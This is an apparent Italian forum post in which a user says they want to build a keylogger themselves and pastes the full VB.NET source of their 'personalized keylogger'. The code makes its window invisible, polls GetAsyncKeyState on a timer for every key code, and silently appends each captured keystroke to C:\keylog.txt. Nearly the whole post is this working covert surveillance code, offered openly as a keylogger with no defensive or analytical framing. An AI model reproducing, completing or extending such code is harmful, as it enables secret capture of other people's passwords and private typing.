Riferimento: keylogger e i suoi dati
in questo caso vorrei farlo da solo ma sinceramente non so come si fa
vi metto i dati del mio keylogger personalizzato
Imports System.IO 'Libreria per la gestione dei file
Public Class Form1
'Dichiarazione funzione GetAsyncKeyState
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
'Avvia timer
Timer1.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
'Form invisibile
Me.Visible = False
'Per ogni input esistente
For i As Integer = 3 To 255
'Dichiarazione variabili
Dim fi As FileInfo = New FileInfo("C:\keylog.txt")
Dim sw As StreamWriter
Dim ch As String
'Se questo input esiste
If GetAsyncKeyState(i) Then
'Converti in stringa l'input da byte
ch = DirectCast(i, System.Windows.Forms.Keys).ToString
'Se non è un carattere circondalo da {}
If ch.Length > 1 Then
ch = "{" + ch + "}"
End If
'Se il file non esiste crealo.
'Altrimenti aprilo semplicemente in scrittura
If fi.Exists = False Then
sw = fi.CreateText()
Else
sw = fi.AppendText()
End If
'Scrittura
sw.Write(ch) 'Prepara la scrittura del carattere/stringa
sw.Flush() 'scrivi
sw.Close() 'chiudi
End If
Next
End Sub
End Class
